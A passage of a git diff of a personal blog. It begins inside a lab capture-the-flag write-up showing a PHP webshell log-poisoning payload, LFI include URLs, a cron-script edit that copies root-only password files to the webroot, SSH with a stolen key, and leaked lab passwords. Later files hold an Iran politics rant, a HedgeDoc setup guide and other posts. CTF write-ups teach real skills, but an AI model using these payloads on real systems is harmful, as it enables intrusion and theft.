    • Saw historical resets like user3foobar23
    • Tried foobar23 over SSH for every user

    From outside: still Permission denied (publickey). Password auth isn’t offered externally. TU Wien network / internal access might differ — I didn’t have that.

    Shell script injection into userchange

    I tried newline injection to turn userchange into a bash script:

    user=
    +#!/bin/sh
    +cp /home/user1/passwd_part /var/www/.../p1
    +...
    +

    Cron cleared the file. No copies appeared. The processor uses chpasswd, not /bin/sh. Good lesson. Wrong path.

    Brute-forcing the userchange consumer

    I spawned searches across /etc/cron.d, puppet manifests, /usr/local/sbin, systemd units, … — looking for whatever reads userchange.

    Eventually didn’t need it. Once RCE landed, grepping and find from inside the box were faster. (Also: I killed a couple of those background brute-force jobs — they were timing out and weren’t on the winning path.)

    Direct SSH password guessing

    Tried setting root’s password via pwreset (root:RootPass123!), waited for cron, attempted SSH.

    From the internet: publickey only. The reset machinery may still work internally, but I couldn’t log in with passwords from outside.


    6) Privesc — world-writable cron script (peak Klaus)

    With RCE as www-data, I looked for writable files:

    find / -writable -type f 2>/dev/null | head
    +

    Jackpot:

    -rwxrwxrwx 1 user1 www-data ... /usr/local/bin/cron_update_hostname_file.sh
    +

    Original script (innocent):

    #!/bin/bash
    +grep 127.0.0.1 /etc/hosts > /home/user1/hostname_config
    +

    It’s run by cron as root (Puppet-managed). www-data can edit it because user1 owns it and the group is www-data with world-writable perms. Chef’s kiss.

    I appended:

    cp /home/user1/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p1
    +cp /home/user2/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p2
    +cp /home/user3/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p3
    +cp /home/user4/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p4
    +cp /home/monitoring/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/pm
    +cp /root/passwd             /var/www/vhosts/g00.tuw.measurement.network/htdocs/rootpass
    +chmod 644 /var/www/vhosts/g00.tuw.measurement.network/htdocs/p*
    +

    Then either waited for cron or executed the script manually via RCE:

    <?=`/usr/local/bin/cron_update_hostname_file.sh`?>
    +

    Files appeared in the webroot. Root-readable secrets exfiltrated by root itself. Klaus would be proud.


    7) SSH as www-data — because keys in the webroot are a mood

    The main vhost webroot also had .ssh/id_rsa for www-data. Of course it did.

    # via RCE: cat the key, save locally, chmod 600
    +ssh -i g00_wwwdata_key -o StrictHostKeyChecking=no \
    +  www-data@g00.tuw.measurement.network
    +

    Works. You land in the challenge webroot with all the exfiltrated parts sitting there as plain files.


    8) The password parts

    SourceFilePart
    user1p1DcC6Da0A27384fA
    user2p29Ce05B3cAd57824
    user3p33aD80fa1b7AE986
    user4p4CDefabffab1FCCf
    www-datapasswd_part44D885d6DAb8Bb9
    rootrootpassghadnuthduxeec7

    Missing: monitoring/passwd_part — copying to pm failed (no file / permission denied even as root’s cron context for that path). Might need a different exfil path or ordering. For the final flag, the six parts above were sufficient.

    Combined root password (95 characters):

    DcC6Da0A27384fA9Ce05B3cAd578243aD80fa1b7AE986CDefabffab1FCCf44D885d6DAb8Bb9ghadnuthduxeec7
    +

    Order: user1 + user2 + user3 + user4 + www-data + root_suffix.

    I double-checked byte lengths with wc -c and od over SSH. No sneaky newlines.

    Root SSH with that password from outside still didn’t bite (pubkey-only externally). The password is the challenge answer, not necessarily your remote login method.


    9) Attack chain (one screen)

    documentation.md
    +    → web vhost LFI (include $_GET['page'])
    +        → include pwreset index.php (localhost bypass)
    +            → write PHP to /var/www/userchange
    +                → LFI include userchange
    +                    → RCE as www-data
    +                        → append to world-writable cron_update_hostname_file.sh
    +                            → cron runs as root → copies passwd parts to webroot
    +                                → read parts / SSH as www-data
    +                                    → profit
    +

    Very “real world” in the worst way. Multiple small mistakes compounding into a full chain.


    10) Replay script

    I left a minimal Python replay in the challenge repo:

    python3 solve.py
    +

    Core logic:

    def pwreset(user, passwd=""):
    +    # LFI-include pwreset index.php with user/pass params
    +
    +def rce(cmd):
    +    pwreset(f"<?=`{cmd}`?>", "")
    +    return lfi_include("/var/www/userchange")
    +

    It prints id, the modified cron script, each part file, and the combined password.


    11) Bonus: the intended log poisoning path

    After I solved the box the scenic route (pwreset → userchange), I mentioned to Tobias that log poisoning seemed broken and maybe the logs needed a cron truncate. He replied, more or less: griefing the logs is part of the game — and students mostly grief themselves. Fair. 😂

    So here’s the path you’re supposed to take for RCE, and how I accidentally took the scenic bypass.

    The hint is in index.php, not documentation.md

    documentation.md only lists the services (web, pwreset). It says nothing about logs. The actual breadcrumb is an HTML comment in index.php (readable via PHP filter LFI):

    <!-- remember for debugging:
    +    /var/log/nginx/$vhost.access.log
    +    /var/log/nginx/$vhost.error.log
    +    /var/log/nginx/ssl-$vhost.access.log
    +    /var/log/nginx/ssl-$vhost.error.log
    +-->
    +

    Four logs. Two pairs: HTTP and HTTPS (ssl-). The comment doesn’t say “don’t use SSL” — but the intended trick is to use the non-ssl access log.

    Intended technique

    1. Poison over HTTP (port 80), not HTTPS — so nginx writes to the smaller vhost log:

      /var/log/nginx/web.g00.tuw.measurement.network.access.log
      +
    2. Put PHP in the User-Agent (or another logged field):

      <?php passthru($_GET['cmd']); ?>
      +

      Short tags like <?=`id`?> work too. Use quoted 'cmd' — bare $_GET[cmd] is a PHP 8 footgun.

    3. Include that log through the same LFI bug:

      https://web.g00.tuw.measurement.network/
      +  ?page=/var/log/nginx/web.g00.tuw.measurement.network.access.log
      +  &cmd=id
      +

    On a fresh box the HTTP access log is tiny (basically empty plus your one poison line). PHP parses the file, hits your payload, you get www-data. That’s RCE. No pwreset required.

    How I griefed myself

    What I didWhy it hurt
    Defaulted to https:// everywherePoison landed in ssl-web...access.log670 KB+ and growing
    Included the ssl log via LFIOutput truncates around ~2 KB; poison sits at the tail
    Fired dozens of test payloadsLeft broken <?php in the HTTP log ($_GET[cmd] without quotes, \x22, etc.) — PHP dies on the first bad tag before reaching a clean line
    Didn’t read index.php source earlyMissed the debug comment until I’d already polluted both logs

    Tobias’s take: that’s a feature. The box teaches you that ops mistakes compound — wrong log, bad payload syntax, and a shared log file other students (or past-you) can wreck. Very Klaus.

    If you’re solving it now

    • Read index.php source first.
    • Poison on HTTP: http://web.g00.tuw.measurement.network/ with a clean User-Agent payload.
    • Include the non-ssl access log path from the comment.
    • Don’t spray malformed PHP into the log unless you enjoy debugging your own garbage.

    I still think logrotate would be kind. Tobias thinks griefing is the lesson. Both can be true.


    12) TL;DR

    • Read documentation.md — it tells you where the services live.
    • Read index.php source — the debug comment gives you the log paths.
    • Intended RCE = HTTP log poisoning → LFI include the non-ssl access log.
    • What I did = pwreset → userchange → cron (also works, not the intended first step).
    • Privesc = /usr/local/bin/cron_update_hostname_file.sh is world-writable and runs as root.
    • Griefing = part of the game; I griefed myself by poisoning the ssl log and littering broken PHP.
    • Flag = concatenate all passwd_part slices + /root/passwd suffix.

    If you’re doing this as part of the TU Wien lab: don’t touch other groups’ hosts, don’t break the infra, and maybe send Klaus a thank-you note for the cron job.

    Happy hacking. 🔓


    Thanks to Tobias Fiebig for the delightfully cursed “real world” box — and to past-me for writing down the rabbit holes so future-me could turn them into a blog post instead of trauma.


    Downloads: +Markdown · +Signature (.asc)

    View OpenPGP signature
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuEACgkQtYgoUOBM
    +jSr+7xAAjpbfTK8k+GguCtQOLwMj6XXcLxb2OYWyeBnbtvIDhy+fTISF9Q+hRfMX
    +91vzMfrmN4F42SvuxeKKB0iQcfheTdhfmxD7oll3j0v+drZ2YVGk9mKW4FBfzbb1
    +iXUt7MQzGnVl3dAHJ2Bqez29Qm9hmtgqIe2bndo2wg3nvNt5fMRF/LPh2CIXOq03
    +35YFa3A1GMUiKAHcemIqJnDZuIInQa+OuPIDPGQva93I20eIn40nIVDLDsY15X+R
    +FyxKVBAwO94We2g+lxhey+xKNIthkv7L8OdbU3WPYSyGk0w8YpNBVK7KtFDHUpsT
    +oLsZXNoKbyZ2eXYF0f54it9JdDo+obdsSRrIzRB/rfszXlVLbbtdwj7TGvgyhWV+
    +zNn5DrhIk5f4FMjJGUnO1QH+e5KPl2IQawCkpOl8NsIIzteNV5BFI3meecTJf6b+
    +//J/Fdzi1YbKFyQlk9zfUUL+1vMoSbkORd7S3JYkibTns+uD9LxW27WIEcvYRw0K
    +MlzdYdPXNCJZUDswt7HZCgQv66zF9+pLkQ/8rl+RVOMW9GqJmE6O0uh4xmPDE8vS
    +YK3/9gFIcXVMy7WsIwEx+xWQqcm815OZSIrw4kvt1+seZ8lUURmoAWRDEFrFUTCG
    +zB6tKRPKoID643AdO+Cb+GS5MLuypaQnoZzl3ALspaV7/YTfVcQ=
    +=BDGe
    +-----END PGP SIGNATURE-----
    +

    Verify locally:

    curl -fSLO https://blog.alipour.eu/sources/posts/g00_tuw_measurement_ctf.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/g00_tuw_measurement_ctf.md.asc
    +gpg --verify g00_tuw_measurement_ctf.md.asc g00_tuw_measurement_ctf.md
    +  
    + +Open on GitHub ↗
    Comments powered by Isso
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/posts/h3ll0_fr1end/index.html b/public-clearnet/posts/h3ll0_fr1end/index.html new file mode 100644 index 0000000..597ddf5 --- /dev/null +++ b/public-clearnet/posts/h3ll0_fr1end/index.html @@ -0,0 +1,33 @@ +H3ll0 Fr1end | AlipourIm journeys +

    H3ll0 Fr1end

    Hello friends. I’m back. It’s been… let’s say, a shit show. My beloved country was attacked by two extremely strong foreign armies in the midst of a revolution. A revolution I deemed i woulld succeed, but now I’m so so confused. The royalists, the radical fascist rights, gathered behind the former King of Iran. A fucking ruthless dictator. Someone who created the scariest of spider webs in Iran, the effect of which layed it’s shadow over the country for decades. It’s funny how his father (I’m talking about the grandfather of this guy) was a traitor, and a ruthless dictator of his own. The difference was that he actually loved the country and although ruled with an iron fist, he actually tried to make the country great. Now let me be honest, the guy was an idiot for many many reasons, siding with the allies by providing them infrastructure at the cost of his own people’s lives, and then selling people’s food to make money off of England was just utterly messed up. But this guy (the son of the former King) is probably the most incompetence creature on this world. So badly incompetence that no mentally sane foreign leader even sees the guy. With all of the money given to him throughout the years, it’s not clean what the fuck his been up to. His eyes blinded be revenge, and his head dreaming of ruling a country that he clearly does not “own” makes him the best candidate for exploitation. And he has shown this very well.

    The occasion is super grim. Radical right wants to oust radical right. LMFAOOOOO. I honestly think Iranian people are just far far divided, and both sides are utterly culturally underdeveloped. Anger has blinded their eyes, and they made a deal with the devil. The end will not be any good either. I have no hopes for the country anymore.

    It’s so so sad that I’m siding the with this disgusting theocratic regime, just because they have not folded in front of the ones who do not care the least about Iran. Those who want to create a fail state, and expand their borders. It’s so sad that every time the country tried to move toward democracy, the people got fucked by a foreign power. The current revolution, the uprisings of 2023-4, JCPOA, …, Persian Constitutional Revolution, etc.. So fucking sad.

    The saddest part is with how much Iran has gotten fucked over the decades, and how far right this regisme has become, I don’t think the people will ever have the possibility of making change from within for many many more years to come. And foreign intervention just fuels the current regime’s influence over it’s people.

    Another reason why we got so screwed is Oil. The curse of resources is sadly a thing that can cause what you see. A defiant regime, who rules bruttally against it’s own people. Years of stagflation, and no bright light in sight.

    Anyway, I just wanted to write something as I was very much inactive for the past few months. I submitted a paper this week, and have big big plans for my own projects. :)

    Unfortunately not advancement on the dating lifepart. Dating sucks for avg boys like me! Cross your fingers please! :D:D

    I honestly also don’t feel like proofreading the text, so… there would be many mistakes. :) And honestly, idc.


    Downloads: +Markdown · +Signature (.asc)

    View OpenPGP signature
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuIACgkQtYgoUOBM
    +jSrREBAAlQM2XgTsOiyZ9MkFSkJ47nsvh9rqslZMdQkfHyHwUBAFdjUfx18ZFvRK
    +5JOxVAUAk1R8GOzr8LqTVeBMEmztnBFrYcnzXo0wfbydPt6IdgmCNQMAYHw/y/Pz
    +Ncqa1n+O/lOyAWm2kMEwtNEqAj9TB48LxF53DCzpFO/mjr80aBYhVPQN4GlqMs9l
    +rsY6qy0LbzC3FPtw0DdxEVr8seL7qYZc34tnTtsGFdxoalbS+K5uanIieb1qQ5Rw
    +z6UNkiCqUJQVVsZc04PlzBQfghRwifwgwuh2rDh1yl9cClgE4Gu2QmATq+8+ozH+
    +0XME9Dy/xEhbFay5FphJ7u8BoxCEkuLRmYjfYxkXB8N81uSCMitxKywsL5Bn/Mwb
    +4bXwNsJUqeNC7UIWnaMoEzy9aR53BRsOEZdEMY+1Ade+vRbuQOxTq70prw9efUnM
    +XraZbBSSERV9v8d16A4ZA3hn6PsbvACYAa72FzrlrZhgeSMgagoLp+QWcUBiRZCS
    +/mNXcSn04Ep/o9EuFZZyxRPGx0fFXO2ZNjN/WpctIb8qlNyoqMhyMb4NXJXrr/d1
    +wY3LJjmn8UM+MOi0CRBYg0B0He4AnGsKD2ARncv6s3vPwPWr95p6jhThOZ/3wqyM
    +QGESlBJ5rM/PmozfLI5D+I+YuX9HM8VO1/HcP28U11lfGCm48YA=
    +=7md6
    +-----END PGP SIGNATURE-----
    +

    Verify locally:

    curl -fSLO https://blog.alipour.eu/sources/posts/h3ll0_fr1end.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/h3ll0_fr1end.md.asc
    +gpg --verify h3ll0_fr1end.md.asc h3ll0_fr1end.md
    +  
    + +Open on GitHub ↗
    Comments powered by Isso
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/posts/hedge_doc.asc b/public-clearnet/posts/hedge_doc.asc new file mode 100644 index 0000000..04c32f3 --- /dev/null +++ b/public-clearnet/posts/hedge_doc.asc @@ -0,0 +1,17 @@ +-----BEGIN PGP SIGNATURE----- + +iQJMBAABCgA2FiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmkCfA8YHGltYW4uYWxp +cDIwMDFAZ21haWwuY29tAAoJELWIKFDgTI0q88YP/RQ/Kl+5D4LtmlO9z/2y/d3k +m7DJcaLlx1D8VXZboEq5auS9/AKnwDwjrQsCAug6aO3+MENRGT+YaxqACcD8/J07 ++TB7+gnTkB+iFUIFOsdx2oKuZhwhpXv/MEqNsD2VVrMgM+8SChBhdlV0axJdWb9g +tOphFNL1JdZAU1G7PqwVJDZWAsj8tr7DL7+EVTb0E2qXdZmbR9VmhkCojaPw156I +BGc7zkPhGwJpBW0PlKFM68SeH1+nMleE1WxfWgPpGpk5JeLvOVMiIbp1M8qJojk7 +SO45+IpfVJ4YC3mHhgd5dkG603dZDtC44AS+zvU/GiUMjBa2li9TuOiF0QiQHdv1 +nnAmFbov8EKW1PKRhD91iBZpwY4ckAngXkfJEaQh+QiDEceR2c4sYFmlP11SBYXI +9g4AUnH8E8Js1UnJ3Jc+dGONbVV/cJ/D+am4ujo3DAgJWiwNl5zZumHtM8GfOOf3 +HasC9uNzebsnIEoaxP1xwTKP/OwZktPgUlBoKjQ3lvvymYWmF6f+dSC4zTed8PLT +jexTeK01OVPLIcbV4h2UGwyoUTGSZ1hSkXA3gyehV/yqInBJhTkhD8bAwDj4NYbD +8PwaiSSQITgmZPCssrCSpEB8KJpBEFjEE0OksQN/sB2aZkegASMNUlYsmr1OOEIZ +ah+SMhSAQZcRUpsRdN9o +=pfUc +-----END PGP SIGNATURE----- diff --git a/public-clearnet/posts/hedge_doc/index.html b/public-clearnet/posts/hedge_doc/index.html new file mode 100644 index 0000000..0a5ee0c --- /dev/null +++ b/public-clearnet/posts/hedge_doc/index.html @@ -0,0 +1,112 @@ +Self-Hosting HedgeDoc with Docker + Nginx + Let's Encrypt | AlipourIm journeys +

    Self-Hosting HedgeDoc with Docker + Nginx + Let's Encrypt

    HedgeDoc collaborative editing
    Collaborative Markdown editing with HedgeDoc

    HedgeDoc is an open-source collaborative Markdown editor. Think Google Docs for Markdown: multiple people can edit the same note in real-time, with support for diagrams, math, polls, and slide decks. In this post we’ll walk through setting up your own instance on a server, secured with HTTPS.


    Prerequisites

    • A Linux server with Docker and Docker Compose
    • A domain name pointing to your server (e.g. notes.alipourimjourneys.ir)
    • Nginx installed for reverse proxying
    • Certbot for Let’s Encrypt certificates

    1. Create the project directory

    mkdir ~/hedgedoc && cd ~/hedgedoc

    2. Create .env

    POSTGRES_PASSWORD=ChangeThisStrongPassword
    +HD_DOMAIN=notes.alipourimjourneys.ir

    Generate a strong password with:

    openssl rand -base64 32

    3. Create docker-compose.yml

    version: "3.9"
    +
    +services:
    +  db:
    +    image: postgres:16
    +    environment:
    +      POSTGRES_USER: hedgedoc
    +      POSTGRES_PASSWORD: ${POSTGRES_PASSWORD}
    +      POSTGRES_DB: hedgedoc
    +    volumes:
    +      - db:/var/lib/postgresql/data
    +    restart: unless-stopped
    +
    +  hedgedoc:
    +    image: quay.io/hedgedoc/hedgedoc:1.10.2
    +    depends_on:
    +      - db
    +    environment:
    +      CMD_DB_URL: postgres://hedgedoc:${POSTGRES_PASSWORD}@db:5432/hedgedoc
    +      CMD_DOMAIN: ${HD_DOMAIN}
    +      CMD_PROTOCOL_USESSL: "true"
    +      CMD_URL_ADDPORT: "false"
    +      CMD_PORT: "3000"
    +      CMD_EMAIL: "true"
    +      CMD_ALLOW_EMAIL_REGISTER: "false"
    +    volumes:
    +      - uploads:/hedgedoc/public/uploads
    +    ports:
    +      - "127.0.0.1:3000:3000"
    +    restart: unless-stopped
    +
    +volumes:
    +  db:
    +  uploads:

    Bring it up:

    docker compose up -d

    4. Get a Let’s Encrypt certificate

    Request a cert with a DNS challenge:

    sudo certbot certonly   --manual   --preferred-challenges dns   -d notes.alipourimjourneys.ir   -m you@example.com   --agree-tos --no-eff-email

    Add the TXT record certbot asks for, wait for DNS to propagate, then continue.
    Certificates will be in:

    /etc/letsencrypt/live/notes.alipourimjourneys.ir/

    5. Configure Nginx

    Create /etc/nginx/sites-available/notes.alipourimjourneys.ir:

    server {
    +  server_name notes.alipourimjourneys.ir;
    +
    +  listen 80;
    +  listen [::]:80;
    +  return 301 https://$host$request_uri;
    +}
    +
    +server {
    +  server_name notes.alipourimjourneys.ir;
    +
    +  listen 443 ssl http2;
    +  listen [::]:443 ssl http2;
    +
    +  ssl_certificate     /etc/letsencrypt/live/notes.alipourimjourneys.ir/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/notes.alipourimjourneys.ir/privkey.pem;
    +
    +  location / {
    +    proxy_pass http://127.0.0.1:3000;
    +    proxy_set_header Host $host;
    +    proxy_set_header X-Real-IP $remote_addr;
    +    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    +    proxy_set_header X-Forwarded-Proto https;
    +
    +    proxy_http_version 1.1;
    +    proxy_set_header Upgrade $http_upgrade;
    +    proxy_set_header Connection "upgrade";
    +  }
    +}

    Enable the config and reload Nginx:

    sudo ln -s /etc/nginx/sites-available/notes.alipourimjourneys.ir /etc/nginx/sites-enabled/
    +sudo nginx -t && sudo systemctl reload nginx

    6. Create users

    Because we disabled self-registration, create accounts manually:

    docker compose exec hedgedoc ./bin/manage_users --add alice@example.com

    You’ll be prompted for a password.
    To reset a password later:

    docker compose exec hedgedoc ./bin/manage_users --reset alice@example.com

    7. Done!

    Visit https://notes.alipourimjourneys.ir and log in with the user you created. You now have your own collaborative Markdown editor 🎉


    Extras:

    • Backups: dump the PostgreSQL database and save the uploads volume.
    • Upgrades: docker pull quay.io/hedgedoc/hedgedoc:latest && docker compose up -d.
    • Integrations: HedgeDoc supports S3/MinIO image storage, GitHub/GitLab/Google login, and more.

    Downloads: +Markdown · +Signature (.asc)

    View OpenPGP signature
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbucACgkQtYgoUOBM
    +jSrPHA//WlMEZx1k/aGx3zau+wRrAOq4XlrvC7keBvqMs0PJGhJmT8jnOMh0+26w
    +AGav2jBuChLYsDx+O8l18uxcsu9fdrz8r4N4sDOnsndSsg15rTT28P3MNvvUL8ns
    +iOc9uEUkxF59rT3OXRI56hH3VX6vzxakdAnW3Afhki2Bl54jur2+6RVtuthGUEV+
    +QZ/36QVXLrOAas1bqq3f38m4M2no3ZqVvpj+Alur2Ji/gcGZlSArBnIoJQoK5L+r
    +UZLJsQ+LrqCJp4i+GkkX05si2srSTjawBu+ssHf+uwPg0Q6AMTbubrGiHrMMtMbM
    +4PCFtS8vD/ZBVkVpSBybyXdMxQU+y9AI1LZ//X4cQWdqgRpinOVENuZ2FeVI6qa/
    +sBGHLThq9nZEXmMT2oQa1wi+CaY17z9fYj20F5moOp2Q6pxBGPyHZRV3WAr5xURU
    +5B9SwVtNqIzm7eoAbwckU3h+TfIJ4vGulSqPqHvZ/XAdbzCVXaSXBN951oA0No1y
    +MyvsIskzKVPvSqndYjxLGiopvOpITgxN5q6a7ubBmxYCrS+SF74jPkDjtc4EFuKB
    +QrMTBm/+Xl/VEESYv5Mx7hwYv1dnmJUFrx62FUYmAMaFP2UcMIlJJ5zQCwsDdREk
    +aG3wFuWH4d9UFohK+MJIHqYk1+TbZJm3bnds8pOqniIZ7M5PcEg=
    +=uf5y
    +-----END PGP SIGNATURE-----
    +

    Verify locally:

    curl -fSLO https://blog.alipour.eu/sources/posts/hedge_doc.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/hedge_doc.md.asc
    +gpg --verify hedge_doc.md.asc hedge_doc.md
    +  
    + +Open on GitHub ↗
    Comments powered by Isso
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/posts/hello-world.asc b/public-clearnet/posts/hello-world.asc new file mode 100644 index 0000000..fb1d431 --- /dev/null +++ b/public-clearnet/posts/hello-world.asc @@ -0,0 +1,17 @@ +-----BEGIN PGP SIGNATURE----- + +iQJMBAABCgA2FiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmkCfBAYHGltYW4uYWxp +cDIwMDFAZ21haWwuY29tAAoJELWIKFDgTI0qYdAQAKVr4HvFKkfBv2btqsbenlsY +ii3FCE+/31O6jQ6Sw0xIw7KUXaXtT5BXdQHC0b9d9DwHjC+nWloCpREcebxyapUf +cOF8i8H06o2ihXwpHg0ky418tFhpOx+NRmqCbof8EYoOntLv++xbYHuG0YjGLw9Z +3g7zY9jbJUuyCfJLuCx/BvzYtn1T0n2Bu8zwNKgMzdtNUz+uWCNK7zycYPYvnXlr +bZ3NWmZ0XT+WuK7znpkfKNQASpaIrOtwT/bXQzmH1WkdXSrnaS7bIjjg+8MB7+at +l49E260lq7StwThWcdoG7epUaHpwjE/C+hItZv8buaPBx/xTumsqKVhs87bl4fd/ +LXttOUhRDw11GZxMuokzugijJxttOXIKbShmZ/fyUOwuZxJ2YsMqY9ttUrGOzk/t +L6447hSA9AhsyEnReotIMxeq779pv+fiivs9Tg99QkvUiMv39IkoK8Cf38pbCR1O +D806nTXXx6L4fmbADbZuqg4RjCaJwp2p7BGKaYwkA9rIRdmHVdJBEmD7U+W9IZp/ +18daQq3i45WoHWnTwDDhJ/1IPFUum9WCTkqtABPyrY4huxfdPUVavuGl1vgWAZ8+ +srQuHaEet4vBjcCXOOainIbxvIlY25JcTLXk3Vt1Abhf25TIU2aKimGRGgmv2EJv +IGqrQXD2ctkQP+IhyzVV +=gz9U +-----END PGP SIGNATURE----- diff --git a/public-clearnet/posts/hello-world/index.html b/public-clearnet/posts/hello-world/index.html new file mode 100644 index 0000000..4d00f01 --- /dev/null +++ b/public-clearnet/posts/hello-world/index.html @@ -0,0 +1,62 @@ +Hello World | AlipourIm journeys +

    Hello World

    This is a test hello world post just to make sure everything works!


    Downloads: +Markdown · +Signature (.asc)

    View OpenPGP signature
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbukACgkQtYgoUOBM
    +jSpEQQ//WGvzlIkJyaez/yiM50pAlVusmd8LsNXrAPj97ZjyAiY+8puTLs6Na2t7
    +SfwQP03lYHajkmNmH1Sq2vCVTnTWcWOc81AUW7o5fAUl47FT2CzqwaimpGCxUhCB
    +IOvJT8CCXtLroLXqHk8bfLc8s6iGTQt0f2iV2D2TzPLHOEeh27JuWXu8FQX+uFYE
    +B3ioZqc4wJyDFaGWO+ZLEOBXPMR837rztabWYhqOkCuKNlZ06zTF6e4O0ZQ4nNVC
    +roZVMsh0voreT700bmzJmN5QJngzX0c/cmlMBXzsyQ8BDlmmAj92atR24a5AQ7vZ
    +dSyHfXs/or3HlAWCDPfyZOMM9y0PVIuX+odMAUq13Ec2gIZvYa6NPAk0fnQrmjYJ
    +NZ13gDdb0I7My0KLSCDpTTajOZIf9ExdM9Ogpp8wix1kZuxNdJ4/ya9PhkOh8wEc
    +62eMm1khV99Gljg+XbAG6A0KI7nO5TS464/JkU1+d/inWjXmSkocTep9p1H/M+nt
    +7jvNN/agYJh5HOuiA34zli8v2/GflACgFlE+AcGR7cb9CxicTuzs8K+kLzQBQSep
    +oy8FiFCh8msbfmCmvKANkU3nO27NmHbNu9e40A/vxtPZtM0zJnngb/B+5rhDP4uT
    +6Q1OmbB4xs7jM+WX1X7pHI2XBDNlAGy8hi4rZnmXqhMe4rVZJVo=
    +=kuAP
    +-----END PGP SIGNATURE-----
    +

    Verify locally:

    curl -fSLO https://blog.alipour.eu/sources/posts/hello-world.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/hello-world.md.asc
    +gpg --verify hello-world.md.asc hello-world.md
    +  
    + +Open on GitHub ↗
    Comments powered by Isso
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/posts/hobbies.asc b/public-clearnet/posts/hobbies.asc new file mode 100644 index 0000000..f6f8529 --- /dev/null +++ b/public-clearnet/posts/hobbies.asc @@ -0,0 +1,17 @@ +-----BEGIN PGP SIGNATURE----- + +iQJMBAABCgA2FiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmkCfAkYHGltYW4uYWxp +cDIwMDFAZ21haWwuY29tAAoJELWIKFDgTI0quhUP/3KfdZmORKp0g8lgR8+YmirC +ITgqb05MVKd8fuja8vGF+E+XtfeM8xyOV1YDCqeEE9VIWNsjX3+ISkwMCWboyL5m +ks9/3SqSOlv7y2xMcAyVPFYkQYi0CZJ2afp3tmEXKVDOvFTqB7zPkchEbIHLZfih +I/WmCMzbDt8OEGKd0pUe9S/Ux65a9JHQ8GerA+8wQ2TSxQjtelPnD5XrWqeKhRbL +2bDpQZBDcv9dvRBTBEIpHeDg/ylyUPT8WDnIChzAt8tIZFnanMspSw+kdQddpAIF +mqzAmhlQkeRkshbGbHW2h7AeNFZC3CBOPSlp3xi1jRbS4Ao97FuKcGv3TsXM61XX ++n1GoI48dYVhDX92i1ZkG7ZJl5OKbSd/l8pxmtiqVy+nY73Jlo9SH142mVtO5Yqz +Fqvrju4WhZZjTvx8LJ7HSxx/ZFL4ciRyTCttzpqz6Gg4V3ouvrhTk1wQcQu8RiSq +l8ZKyGQ6AexBN/OYwjLFMvbdw2+oSCcMQBFPD9RmDsq+cNTeTJ9qYdvkqF6InNWr +IfOu8FUhWPwSkx/OS4zrChZX8cWq6Sxo5W7YAVOQz5/jazWrRoFJ/XNsMe5GMJr2 +WlaUl9yNtLN9IjYVHVV9xVSc222ENBlL5G/YbDCYzKn2i79OxAgpJlWoLBw+fZ/X +yyRVskOPUanwD9SLgEzF +=OVFH +-----END PGP SIGNATURE----- diff --git a/public-clearnet/posts/hobbies/index.html b/public-clearnet/posts/hobbies/index.html new file mode 100644 index 0000000..08f7d50 --- /dev/null +++ b/public-clearnet/posts/hobbies/index.html @@ -0,0 +1,153 @@ +Hobbies | AlipourIm journeys +

    Hobbies

    My point of view on hobbies

    When I started my PhD, I was told “get yourself a hobby!” many many times by both my advisor, and the director of the group I worked in. +In fact, when being interviewed for the position, I was asked about my hobbies.

    For some reason I think I have like the weirdest hobbies of all time. +Like, you know, people binge series, go to clubs, bars, hang out, and so on. +But I always had interests in things that when I talk about people get weirded out, or at least some of them do so. +To be honest though, when I talk more about some of my hobbies, they do show enthusiasm, but it feels like there is a clear gap between us afterwards.

    Let’s go back in time. +What hobbies have I had over the course of my life? +Actually as a kid I used to play games on Mobile for some reason. +I was also quite competative, reaching the highest possible ranks in pretty much every game I played by solo-queueing. +I also enjoyed playing with my brother, but for some reason he always liked games that were not necesserially my most favorite. +Like I liked Vain Glory, and my brother liked Fifa. +We did play both in the end.

    After my brother went to the capital to attend univesity, we bacame more distant. +I had to also focus on my own studies, and was actually struggling in junior-high. +Now that is a story in itself for another time. +I used to play games back then as hobby. +But my real interest was chess. +I was really good at calculating. +I was extremely sharp for my age, but since I was obbese my parents wanted me to take “active” sport classes. +So… getting into a chess class was conditional.

    I have’t really done any chess studying after those early years, and I just know a few openings with little depth. +I do have a relatively good understanding of piece synergy and also ok-ish calculation skills to beat a good portion of people I see on a daily basis, but any professional player would easily beat me out of the opening.

    In high-school I didn’t really have any hobbies. +I did become interested in Basketball, but nothing serious. +It’s funny how I was able to become good at any sport I tried. +I tried Football, Basketball, Volleyball, Table Tennis, Tennis, Chess, Footsal, Swimming, and Badminton. +I think swimming was, and still is my best sport. +I never pursued it though, which is a shame.

